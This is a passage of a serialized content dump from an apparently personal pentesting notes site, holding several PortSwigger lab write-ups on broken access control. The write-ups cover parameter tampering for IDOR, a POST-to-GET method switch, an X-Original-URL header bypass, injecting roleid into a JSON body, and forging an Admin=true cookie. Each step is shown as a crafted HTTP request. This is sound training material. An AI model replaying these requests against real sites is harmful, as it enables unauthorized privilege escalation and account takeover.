site.",[137,5284,1506],{"id":1505},[15,5286,5287],{},"Log in as our user, look at the requests. The API key is here.",[15,5289,5290,5291,5293],{},"Walk around the site, see the list of posts, open the first one. Oh, ",[37,5292,2505],{}," left a comment, his name is a link — click it:",[142,5295,5298],{"className":5296,"code":5297,"language":147},[145],"GET \u002Fblogs?userId=2481e38a-2dba-4f3b-a2a1-433c37c9ce03\n",[37,5299,5297],{"__ignoreMap":87},[15,5301,5302,5303,5305],{},"We got the target user's id. Now we can send a request to get the user's info, but with ",[37,5304,2505],{},"'s id substituted. Okay, send the request:",[142,5307,5310],{"className":5308,"code":5309,"language":147},[145],"GET \u002Fmy-account?id=2481e38a-2dba-4f3b-a2a1-433c37c9ce03\n",[37,5311,5309],{"__ignoreMap":87},[15,5313,5314],{},"The response contains:",[142,5316,5318],{"className":3020,"code":5317,"language":3022,"meta":87,"style":87},"\u003Cdiv>Your API Key is: uqyLbJbk1E14YlHvsWrB2jHaL3C3lvQd\u003C\u002Fdiv>\n",[37,5319,5320],{"__ignoreMap":87},[313,5321,5322,5324,5326,5329,5331],{"class":315,"line":316},[313,5323,749],{"class":748},[313,5325,5097],{"class":752},[313,5327,5328],{"class":748},">Your API Key is: uqyLbJbk1E14YlHvsWrB2jHaL3C3lvQd\u003C\u002F",[313,5330,5097],{"class":752},[313,5332,756],{"class":748},[15,5334,246],{},[361,5336,5109],{},{"title":87,"searchDepth":88,"depth":88,"links":5338},[5339,5340],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5341},[5342,5343,5344],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Finding the GUID of user carlos in blog posts and getting his API key via GET \u002Fmy-account.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-unpredictable-user-ids",{"title":5252,"description":5345},{"loc":5347},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-unpredictable-user-ids",[264,4631,269],"lMNeM_k1yeClfj2ocn7NcxL-jXenUP4Ynzec3wmgLfQ",{"id":5354,"title":5355,"author":6,"body":5356,"date":5020,"description":5470,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5471,"navigation":96,"notes":93,"path":5472,"psTitle":5370,"seo":5473,"sitemap":5474,"stem":5475,"tags":5476,"timeSpent":1617,"type":106,"__hash__":5477},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter.md","User ID Controlled by Request Parameter (PortSwigger Lab)",{"type":8,"value":5357,"toc":5462},[5358,5362,5364,5371,5373,5375,5381,5383,5389,5391,5394,5399,5405,5411,5458,5460],[11,5359,5361],{"id":5360},"user-id-controlled-by-request-parameter","User ID Controlled by Request Parameter",[19,5363,121],{"id":120},[15,5365,5366,399],{},[125,5367,5370],{"href":5368,"rel":5369},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter",[129],"User ID controlled by request parameter",[19,5372,135],{"id":134},[137,5374,140],{"id":139},[142,5376,5379],{"className":5377,"code":5378,"language":147},[145],"This lab has a horizontal privilege escalation vulnerability on the user account page.\n\nTo solve the lab, obtain the API key for the user carlos and submit it as the solution.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,5380,5378],{"__ignoreMap":87},[137,5382,2057],{"id":2056},[15,5384,5385,5386,5388],{},"Looks like a very simple lab. We need to get the API key of user ",[37,5387,2505],{},". To do that we just have to change the user id passed to the route.",[137,5390,1506],{"id":1505},[15,5392,5393],{},"Log in as our user, look at the requests:",[142,5395,5397],{"className":5396,"code":5071,"language":147},[145],[37,5398,5071],{"__ignoreMap":87},[15,5400,5401,5402,212],{},"The API key is here. Change the parameter to ",[37,5403,5404],{},"?id=carlos",[142,5406,5409],{"className":5407,"code":5408,"language":147},[145],"GET \u002Fmy-account?id=carlos\n",[37,5410,5408],{"__ignoreMap":87},[142,5412,5414],{"className":3020,"code":5413,"language":3022,"meta":87,"style":87},"\u003Cdiv id=account-content>\n    \u003Cp>Your username is: carlos\u003C\u002Fp>\n    \u003Cdiv>Your API Key is: mxH4cyoguaAAuo3kCtqzv1ySjfORtagJ\u003C\u002Fdiv>\n",[37,5415,5416,5432,5445],{"__ignoreMap":87},[313,5417,5418,5420,5422,5425,5427,5430],{"class":315,"line":316},[313,5419,749],{"class":748},[313,5421,5097],{"class":752},[313,5423,5424],{"class":795}," id",[313,5426,3037],{"class":748},[313,5428,5429],{"class":771},"account-content",[313,5431,756],{"class":748},[313,5433,5434,5436,5438,5441,5443],{"class":315,"line":88},[313,5435,3047],{"class":748},[313,5437,15],{"class":752},[313,5439,5440],{"class":748},">Your username is: carlos\u003C\u002F",[313,5442,15],{"class":752},[313,5444,756],{"class":748},[313,5446,5447,5449,5451,5454,5456],{"class":315,"line":253},[313,5448,3047],{"class":748},[313,5450,5097],{"class":752},[313,5452,5453],{"class":748},">Your API Key is: mxH4cyoguaAAuo3kCtqzv1ySjfORtagJ\u003C\u002F",[313,5455,5097],{"class":752},[313,5457,756],{"class":748},[15,5459,3968],{},[361,5461,4155],{},{"title":87,"searchDepth":88,"depth":88,"links":5463},[5464,5465],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5466},[5467,5468,5469],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Obtaining the API key of user carlos by swapping the user id in GET \u002Fmy-account.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter",{"title":5355,"description":5470},{"loc":5472},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter",[264,4631,269],"MVDdE50aeRfWfD-6k4mP6f5jfDzsApeSzWlC6pZekQY",{"id":5479,"title":5480,"author":6,"body":5481,"date":5568,"description":5569,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5570,"navigation":96,"notes":93,"path":5571,"psTitle":5495,"seo":5572,"sitemap":5573,"stem":5574,"tags":5575,"timeSpent":2024,"type":106,"__hash__":5576},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmethod-based-access-control-can-be-circumvented.md","Method-Based Access Control Can Be Circumvented (PortSwigger Lab)",{"type":8,"value":5482,"toc":5560},[5483,5487,5489,5496,5498,5500,5506,5508,5511,5513,5519,5522,5528,5534,5540,5551,5557],[11,5484,5486],{"id":5485},"method-based-access-control-can-be-circumvented","Method-Based Access Control Can Be Circumvented",[19,5488,121],{"id":120},[15,5490,5491,399],{},[125,5492,5495],{"href":5493,"rel":5494},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-method-based-access-control-can-be-circumvented",[129],"Method-based access control can be circumvented",[19,5497,135],{"id":134},[137,5499,140],{"id":139},[142,5501,5504],{"className":5502,"code":5503,"language":147},[145],"This lab implements access controls based partly on the HTTP method of requests. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.\n\nTo solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.\n",[37,5505,5503],{"__ignoreMap":87},[137,5507,2057],{"id":2056},[15,5509,5510],{},"We need to familiarize ourselves with how the admin panel works and find a vulnerability that lets a regular user escalate to administrator privileges.",[137,5512,1506],{"id":1505},[15,5514,5515,5516,5518],{},"Let's log in and see how the admin panel works. We see an «Admin panel» link. There's a user selector and 2 buttons — essentially «Make admin» and «Remove admin». Let's try making ",[37,5517,2998],{}," an admin and then removing the admin role.",[15,5520,5521],{},"The request:",[142,5523,5526],{"className":5524,"code":5525,"language":147},[145],"POST \u002Fadmin-roles\nusername=wiener&action=upgrade\n",[37,5527,5525],{"__ignoreMap":87},[15,5529,5530,5531,524],{},"And the variant with ",[37,5532,5533],{},"action=downgrade",[15,5535,5536,5537,5539],{},"Let's log in as ",[37,5538,2998],{}," and run this privilege escalation request — «Unauthorized».",[15,5541,5542,5543,5546,5547,5550],{},"We try changing ",[37,5544,5545],{},"POST"," to ",[37,5548,5549],{},"GET"," — «Missing parameter 'username'». Oh, let's pass the parameter in the URL then:",[142,5552,5555],{"className":5553,"code":5554,"language":147},[145],"GET \u002Fadmin-roles?username=wiener&action=upgrade\n",[37,5556,5554],{"__ignoreMap":87},[15,5558,5559],{},"Worked! Lab solved.",{"title":87,"searchDepth":88,"depth":88,"links":5561},[5562,5563],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5564},[5565,5566,5567],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"2026-05-14","Privilege escalation to administrator by switching the HTTP method from POST to GET.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmethod-based-access-control-can-be-circumvented",{"title":5480,"description":5569},{"loc":5571},"notes\u002Fpentesting\u002Fportswigger\u002Fmethod-based-access-control-can-be-circumvented",[264,4631,269],"GNpEvU6rLsboj-HGwJNqseZ7a-OqJDYvchVnUGHDY8E",{"id":5578,"title":5579,"author":6,"body":5580,"date":5568,"description":5828,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5829,"navigation":96,"notes":93,"path":5830,"psTitle":5594,"seo":5831,"sitemap":5832,"stem":5833,"tags":5834,"timeSpent":459,"type":106,"__hash__":5835},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality-with-unpredictable-url.md","Unprotected Admin Functionality with Unpredictable URL (PortSwigger Lab)",{"type":8,"value":5581,"toc":5820},[5582,5586,5588,5595,5597,5599,5605,5607,5610,5612,5615,5622,5808,5814,5817],[11,5583,5585],{"id":5584},"unprotected-admin-functionality-with-unpredictable-url","Unprotected Admin Functionality with Unpredictable URL",[19,5587,121],{"id":120},[15,5589,5590,399],{},[125,5591,5594],{"href":5592,"rel":5593},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-unprotected-admin-functionality-with-unpredictable-url",[129],"Unprotected admin functionality with unpredictable URL",[19,5596,135],{"id":134},[137,5598,140],{"id":139},[142,5600,5603],{"className":5601,"code":5602,"language":147},[145],"This lab has an unprotected admin panel. It's located at an unpredictable location, but the location is disclosed somewhere in the application.\n\nSolve the lab by accessing the admin panel, and using it to delete the user carlos.\n",[37,5604,5602],{"__ignoreMap":87},[137,5606,2057],{"id":2056},[15,5608,5609],{},"An open admin panel sits at a random URL. We need to find the address, log in, and delete a user. Let's do some recon. Worth paying attention to JS files and code — somewhere there should be logic that renders admin links. Possibly on a product page — a guess.",[137,5611,1506],{"id":1505},[15,5613,5614],{},"I walked around the site: looked at a product, return to list, My account. Checking request history in Burp. No obvious JS file loads.",[15,5616,5617,5618,5621],{},"Let's look at the HTML of ",[37,5619,5620],{},"GET \u002Fproduct?productId=2"," — I see an interesting piece of code:",[142,5623,5625],{"className":3020,"code":5624,"language":3022,"meta":87,"style":87},"\u003Cscript>\nvar isAdmin = false;\nif (isAdmin) {\n   var topLinksTag = document.getElementsByClassName(\"top-links\")[0];\n   var adminPanelTag = document.createElement('a');\n   adminPanelTag.setAttribute('href', '\u002Fadmin-q4va6y');\n   adminPanelTag.innerText = 'Admin panel';\n   topLinksTag.append(adminPanelTag);\n   var pTag = document.createElement('p');\n   pTag.innerText = '|';\n   topLinksTag.appendChild(pTag);\n}\n\u003C\u002Fscript>\n",[37,5626,5627,5635,5651,5659,5689,5711,5731,5743,5754,5774,5786,5796,5800],{"__ignoreMap":87},[313,5628,5629,5631,5633],{"class":315,"line":316},[313,5630,749],{"class":748},[313,5632,753],{"class":752},[313,5634,756],{"class":748},[313,5636,5637,5640,5643,5645,5648],{"class":315,"line":88},[313,5638,5639],{"class":761},"var",[313,5641,5642],{"class":748}," isAdmin ",[313,5644,3037],{"class":761},[313,5646,5647],{"class":808}," false",[313,5649,5650],{"class":748},";\n",[313,5652,5653,5656],{"class":315,"line":253},[313,5654,5655],{"class":761},"if",[313,5657,5658],{"class":748}," (isAdmin) {\n",[313,5660,5661,5664,5667,5669,5672,5675,5677,5680,5683,5686],{"class":315,"line":780},[313,5662,5663],{"class":761},"   var",[313,5665,5666],{"class":748}," topLinksTag ",[313,5668,3037],{"class":761},[313,5670,5671],{"class":748}," document.",[313,5673,5674],{"class":795},"getElementsByClassName",[313,5676,3205],{"class":748},[313,5678,5679],{"class":771},"\"top-links\"",[313,5681,5682],{"class":748},")[",[313,5684,5685],{"class":808},"0",[313,5687,5688],{"class":748},"];\n",[313,5690,5691,5693,5696,5698,5700,5703,5705,5708],{"class":315,"line":792},[313,5692,5663],{"class":761},[313,5694,5695],{"class":748}," adminPanelTag ",[313,5697,3037],{"class":761},[313,5699,5671],{"class":748},[313,5701,5702],{"class":795},"createElement",[313,5704,3205],{"class":748},[313,5706,5707],{"class":771},"'a'",[313,5709,5710],{"class":748},");\n",[313,5712,5713,5716,5719,5721,5724,5726,5729],{"class":315,"line":802},[313,5714,5715],{"class":748},"   adminPanelTag.",[313,5717,5718],{"class":795},"setAttribute",[313,5720,3205],{"class":748},[313,5722,5723],{"class":771},"'href'",[313,5725,4244],{"class":748},[313,5727,5728],{"class":771},"'\u002Fadmin-q4va6y'",[313,5730,5710],{"class":748},[313,5732,5733,5736,5738,5741],{"class":315,"line":821},[313,5734,5735],{"class":748},"   adminPanelTag.innerText ",[313,5737,3037],{"class":761},[313,5739,5740],{"class":771}," 'Admin panel'",[313,5742,5650],{"class":748},[313,5744,5745,5748,5751],{"class":315,"line":833},[313,5746,5747],{"class":748},"   topLinksTag.",[313,5749,5750],{"class":795},"append",[313,5752,5753],{"class":748},"(adminPanelTag);\n",[313,5755,5756,5758,5761,5763,5765,5767,5769,5772],{"class":315,"line":842},[313,5757,5663],{"class":761},[313,5759,5760],{"class":748}," pTag ",[313,5762,3037],{"class":761},[313,5764,5671],{"class":748},[313,5766,5702],{"class":795},[313,5768,3205],{"class":748},[313,5770,5771],{"class":771},"'p'",[313,5773,5710],{"class":748},[313,5775,5776,5779,5781,5784],{"class":315,"line":848},[313,5777,5778],{"class":748},"   pTag.innerText ",[313,5780,3037],{"class":761},[313,5782,5783],{"class":771}," '|'",[313,5785,5650],{"class":748},[313,5787,5788,5790,5793],{"class":315,"line":853},[313,5789,5747],{"class":748},[313,5791,5792],{"class":795},"appendChild",[313,5794,5795],{"class":748},"(pTag);\n",[313,5797,5798],{"class":315,"line":874},[313,5799,940],{"class":748},[313,5801,5802,5804,5806],{"class":315,"line":889},[313,5803,946],{"class":748},[313,5805,753],{"class":752},[313,5807,756],{"class":748},[15,5809,5810,5811,524],{},"Found the admin URL — ",[37,5812,5813],{},"\u002Fadmin-q4va6y",[15,5815,5816],{},"We go to the admin panel and delete the user. Lab solved!",[361,5818,5819],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":5821},[5822,5823],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5824},[5825,5826,5827],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Finding the hidden admin URL in the product page HTML and deleting the user.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality-with-unpredictable-url",{"title":5579,"description":5828},{"loc":5830},"notes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality-with-unpredictable-url",[264,4631,269],"CGS4qLgB4au1-MJ2b9AEL4-JUbMHung2h1rsc9qnq8I",{"id":5837,"title":5838,"author":6,"body":5839,"date":5568,"description":5969,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5970,"navigation":96,"notes":93,"path":5971,"psTitle":5853,"seo":5972,"sitemap":5973,"stem":5974,"tags":5975,"timeSpent":5976,"type":106,"__hash__":5977},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Furl-based-access-control-can-be-circumvented.md","URL-Based Access Control Can Be Circumvented (PortSwigger Lab)",{"type":8,"value":5840,"toc":5960},[5841,5845,5847,5854,5856,5858,5864,5866,5877,5881,5887,5890,5898,5900,5903,5914,5935,5938,5944,5947,5950,5956,5958],[11,5842,5844],{"id":5843},"url-based-access-control-can-be-circumvented","URL-Based Access Control Can Be Circumvented",[19,5846,121],{"id":120},[15,5848,5849,399],{},[125,5850,5853],{"href":5851,"rel":5852},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-url-based-access-control-can-be-circumvented",[129],"URL-based access control can be circumvented",[19,5855,135],{"id":134},[137,5857,140],{"id":139},[142,5859,5862],{"className":5860,"code":5861,"language":147},[145],"This website has an unauthenticated admin panel at \u002Fadmin, but a front-end system has been configured to block external access to that path. However, the back-end application is built on a framework that supports the X-Original-URL header.\n\nTo solve the lab, access the admin panel and delete the user carlos.\n",[37,5863,5861],{"__ignoreMap":87},[137,5865,2057],{"id":2056},[15,5867,5868,5869,5872,5873,5876],{},"A site with an admin panel at ",[37,5870,5871],{},"\u002Fadmin",", access to which is restricted. However, we know the framework supports the ",[37,5874,5875],{},"X-Original-URL"," header. We need to get into the admin panel and delete the user.",[137,5878,5880],{"id":5879},"theory","Theory",[15,5882,5883,5884,5886],{},"Let's recall what ",[37,5885,5875],{}," is used for.",[15,5888,5889],{},"It's a non-standard HTTP header. What for? It lets the backend see the original URL before proxy (nginx, Apache) processing. Some frameworks trust this header, which lets us bypass restrictions on closed URLs.",[15,5891,5892,5893,5895,5896,524],{},"We send a request to a publicly accessible page, but with ",[37,5894,5875],{}," we change the URL to, for example, ",[37,5897,5871],{},[137,5899,1506],{"id":1505},[15,5901,5902],{},"Open the site — right away we see the «Admin panel» link. Click it — «Access denied».",[15,5904,5905,5906,5909,5910,5913],{},"OK, then we throw a ",[37,5907,5908],{},"GET \u002F"," request into Repeater and append ",[37,5911,5912],{},"X-Original-URL: \u002Fadmin",". The admin HTML comes back. Inside, we find the delete-user link:",[142,5915,5917],{"className":3020,"code":5916,"language":3022,"meta":87,"style":87},"\u003Ca href=\"\u002Fadmin\u002Fdelete?username=carlos\">\n",[37,5918,5919],{"__ignoreMap":87},[313,5920,5921,5923,5925,5928,5930,5933],{"class":315,"line":316},[313,5922,749],{"class":748},[313,5924,125],{"class":752},[313,5926,5927],{"class":795}," href",[313,5929,3037],{"class":748},[313,5931,5932],{"class":771},"\"\u002Fadmin\u002Fdelete?username=carlos\"",[313,5934,756],{"class":748},[15,5936,5937],{},"We try:",[142,5939,5942],{"className":5940,"code":5941,"language":147},[145],"X-Original-Url: \u002Fadmin\u002Fdelete?username=carlos\n",[37,5943,5941],{"__ignoreMap":87},[15,5945,5946],{},"But the server complains «Missing parameter 'username'». Maybe the query string is being stripped?",[15,5948,5949],{},"What if we pass the query string in the main request:",[142,5951,5954],{"className":5952,"code":5953,"language":147},[145],"GET \u002F?username=carlos\nX-Original-Url: \u002Fadmin\u002Fdelete\n",[37,5955,5953],{"__ignoreMap":87},[15,5957,5559],{},[361,5959,4155],{},{"title":87,"searchDepth":88,"depth":88,"links":5961},[5962,5963],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5964},[5965,5966,5967,5968],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":5879,"depth":253,"text":5880},{"id":1505,"depth":253,"text":1506},"Reaching the blocked admin panel via the `X-Original-URL` header and deleting the user.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Furl-based-access-control-can-be-circumvented",{"title":5838,"description":5969},{"loc":5971},"notes\u002Fpentesting\u002Fportswigger\u002Furl-based-access-control-can-be-circumvented",[264,4631,269],"45m","_yNdYpKcf5XA8PTOnKdUGBB_GC5FNNJNNYhenZrvW7g",{"id":5979,"title":5980,"author":6,"body":5981,"date":5568,"description":6118,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":6119,"navigation":96,"notes":93,"path":6120,"psTitle":5995,"seo":6121,"sitemap":6122,"stem":6123,"tags":6124,"timeSpent":2463,"type":106,"__hash__":6125},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-can-be-modified-in-user-profile.md","User Role Can Be Modified in User Profile (PortSwigger Lab)",{"type":8,"value":5982,"toc":6110},[5983,5987,5989,5996,5998,6000,6006,6008,6017,6019,6022,6028,6031,6094,6104,6107],[11,5984,5986],{"id":5985},"user-role-can-be-modified-in-user-profile","User Role Can Be Modified in User Profile",[19,5988,121],{"id":120},[15,5990,5991,399],{},[125,5992,5995],{"href":5993,"rel":5994},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-role-can-be-modified-in-user-profile",[129],"User role can be modified in user profile",[19,5997,135],{"id":134},[137,5999,140],{"id":139},[142,6001,6004],{"className":6002,"code":6003,"language":147},[145],"This lab has an admin panel at \u002Fadmin. It's only accessible to logged-in users with a roleid of 2.\n\nSolve the lab by accessing the admin panel and using it to delete the user carlos.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,6005,6003],{"__ignoreMap":87},[137,6007,2057],{"id":2056},[15,6009,6010,6011,6014,6015,524],{},"Looks like a specific hint here — the admin panel is accessible to users with ",[37,6012,6013],{},"roleid=2",", and the role can apparently be changed in the user profile. We need to reach the admin panel and delete the user ",[37,6016,2505],{},[137,6018,1506],{"id":1505},[15,6020,6021],{},"Let's check the user profile — there's a change-email form. OK, let's change it. The request goes out:",[142,6023,6026],{"className":6024,"code":6025,"language":147},[145],"POST \u002Fmy-account\u002Fchange-email\n{\"email\":\"xxx@xxx.ru\"}\n",[37,6027,6025],{"__ignoreMap":87},[15,6029,6030],{},"The response:",[142,6032,6036],{"className":6033,"code":6034,"language":6035,"meta":87,"style":87},"language-json shiki shiki-themes github-light github-dark","{\n  \"username\": \"wiener\",\n  \"email\": \"xxx@xxx.ru\",\n  \"apikey\": \"sNK5lPO4Q9iCMxU18Tevh5HTKt9NmR9Y\",\n  \"roleid\": 1\n}\n","json",[37,6037,6038,6043,6056,6068,6080,6090],{"__ignoreMap":87},[313,6039,6040],{"class":315,"line":316},[313,6041,6042],{"class":748},"{\n",[313,6044,6045,6048,6051,6054],{"class":315,"line":88},[313,6046,6047],{"class":808},"  \"username\"",[313,6049,6050],{"class":748},": ",[313,6052,6053],{"class":771},"\"wiener\"",[313,6055,830],{"class":748},[313,6057,6058,6061,6063,6066],{"class":315,"line":253},[313,6059,6060],{"class":808},"  \"email\"",[313,6062,6050],{"class":748},[313,6064,6065],{"class":771},"\"xxx@xxx.ru\"",[313,6067,830],{"class":748},[313,6069,6070,6073,6075,6078],{"class":315,"line":780},[313,6071,6072],{"class":808},"  \"apikey\"",[313,6074,6050],{"class":748},[313,6076,6077],{"class":771},"\"sNK5lPO4Q9iCMxU18Tevh5HTKt9NmR9Y\"",[313,6079,830],{"class":748},[313,6081,6082,6085,6087],{"class":315,"line":792},[313,6083,6084],{"class":808},"  \"roleid\"",[313,6086,6050],{"class":748},[313,6088,6089],{"class":808},"1\n",[313,6091,6092],{"class":315,"line":802},[313,6093,940],{"class":748},[15,6095,6096,6097,6100,6101,6103],{},"Interesting — so we might pass the role along with the email and change it? We send the request into Repeater, add the ",[37,6098,6099],{},"roleid"," field with value ",[37,6102,827],{},". Send — voilà, the role changed.",[15,6105,6106],{},"Reload the page, the admin panel is available. Delete the user. Lab solved!",[361,6108,6109],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":6111},[6112,6113],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":6114},[6115,6116,6117],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Elevating `roleid` to 2 through the change-email form — admin access and user deletion.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-can-be-modified-in-user-profile",{"title":5980,"description":6118},{"loc":6120},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-role-can-be-modified-in-user-profile",[264,4631,269],"6472Ia70FaoxHJBzpMq-zVxO21zqkgOHAcNSH-aNkPw",{"id":6127,"title":6128,"author":6,"body":6129,"date":5568,"description":6193,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":6194,"navigation":96,"notes":93,"path":6195,"psTitle":6143,"seo":6196,"sitemap":6197,"stem":6198,"tags":6199,"timeSpent":1617,"type":106,"__hash__":6200},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-controlled-by-request-parameter.md","User Role Controlled by Request Parameter (PortSwigger Lab)",{"type":8,"value":6130,"toc":6185},[6131,6135,6137,6144,6146,6148,6154,6156,6159,6161,6164,6169,6175,6182],[11,6132,6134],{"id":6133},"user-role-controlled-by-request-parameter","User Role Controlled by Request Parameter",[19,6136,121],{"id":120},[15,6138,6139,399],{},[125,6140,6143],{"href":6141,"rel":6142},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-role-controlled-by-request-parameter",[129],"User role controlled by request parameter",[19,6145,135],{"id":134},[137,6147,140],{"id":139},[142,6149,6152],{"className":6150,"code":6151,"language":147},[145],"This lab has an admin panel at \u002Fadmin, which identifies administrators using a forgeable cookie.\n\nSolve the lab by accessing the admin panel and using it to delete the user `carlos`.\n\nYou can log in to your own account using the following credentials: `wiener:peter`\n",[37,6153,6151],{"__ignoreMap":87},[137,6155,2057],{"id":2056},[15,6157,6158],{},"The admin panel uses a simple check — it looks for a specific cookie. We need to get in and delete a user.",[137,6160,1506],{"id":1505},[15,6162,6163],{},"Let's log in and see what happens.",[15,6165,6166,6168],{},[37,6167,3513],{}," sets an interesting cookie:",[142,6170,6173],{"className":6171,"code":6172,"language":147},[145],"Set-Cookie: Admin=false; Secure; HttpOnly\n",[37,6174,6172],{"__ignoreMap":87},[15,6176,6177,6178,6181],{},"The obvious step — swap it for ",[37,6179,6180],{},"Admin=true",". And indeed, the admin panel link appears.",[15,6183,6184],{},"We delete the user. Lab solved!",{"title":87,"searchDepth":88,"depth":88,"links":6186},[6187,6188],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":6189},[6190,6191,6192],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Forging the `Admin=true` cookie to reach the admin panel and delete the user.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-controlled-by-request-parameter",{"title":6128,"description":6193},{"loc":6195},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-role-controlled-by-request-parameter",[264,4631,269],"aIpgJPg42F9nbiF4W_Csa2wAp5H6qd3A7Q6alNKAM54",{"id":6202,"title":6203,"author":6,"body":6204,"date":6584,"description":6585,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":6586,"navigation":96,"notes":93,"path":6587,"psTitle":6218,"seo":6588,"sitemap":6589,"stem":6590,"tags":6591,"timeSpent":5976,"type":106,"__hash__":6593},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-basic-origin-reflection.md","CORS Vulnerability with Basic Origin Reflection (PortSwigger 